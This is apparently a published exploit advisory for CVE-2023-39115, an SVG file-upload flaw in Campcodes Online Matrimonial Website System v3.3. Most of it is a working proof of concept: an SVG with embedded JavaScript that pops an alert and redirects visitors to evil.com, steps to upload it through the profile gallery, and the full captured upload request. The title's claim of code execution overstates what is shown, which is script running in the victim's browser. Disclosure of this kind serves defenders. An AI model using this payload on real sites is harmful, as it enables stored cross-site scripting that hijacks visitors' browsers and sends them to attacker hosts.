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Exploit Title: Vulnerability in Campcodes Online Matrimonial Website

System v3.3 allows code execution via malicious SVG file upload

Date: 3-8-2023

Vendor Homepage: http://campcodes.com

Category: Web Application

Exploit Author: Rajdip Dey Sarkar

Version: 3.3

Tested on: Windows/Kali

CVE: CVE-2023-39115

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Description:

An arbitrary file upload vulnerability in Campcodes Online Matrimonial
Website System Script v3.3 allows attackers to execute arbitrary code via
uploading a crafted SVG file.

SVG Payload

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
<script type="text/javascript">
alert(“You have been hacked!!”)

  window.location.href="https://evil.com"  

</script>
</svg>

Steps to reproduce

-Login with your creds
-Navigate to this directory - /profile-settings
-Click on Gallery -> Add New Image -> Browser -> Add Files
-Choose the SVG file and upload done
-Click the image!! Payload Triggered

Burp Request

POST /Matrimonial%20Script/install/aiz-uploader/upload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/115.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-TOKEN: I5gqfipOOKWwI74hfdtFC2kpUP0EggWb8Qf7Xd5E
Content-Type: multipart/form-data;
boundary=---------------------------167707198418121100152548123485
Content-Length: 1044
Origin: http://localhost
Connection: close
Referer: http://localhost/Matrimonial%20Script/install/gallery-image/create
Cookie: _session=5GnMKaOhppEZivuzZJFXQLdldLMXecD1hmcEPWjg;
acceptCookies=true; XSRF-TOKEN=I5gqfipOOKWwI74hfdtFC2kpUP0EggWb8Qf7Xd5E
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="relativePath"

null
-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="name"

file (1).svg
-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="type"

image/svg+xml
-----------------------------167707198418121100152548123485
Content-Disposition: form-data; name="aiz_file"; filename="file (1).svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
<script type="text/javascript">
alert(“You have been hacked!!”)

  window.location.href="https://evil.com"  

</script>
</svg>
-----------------------------167707198418121100152548123485–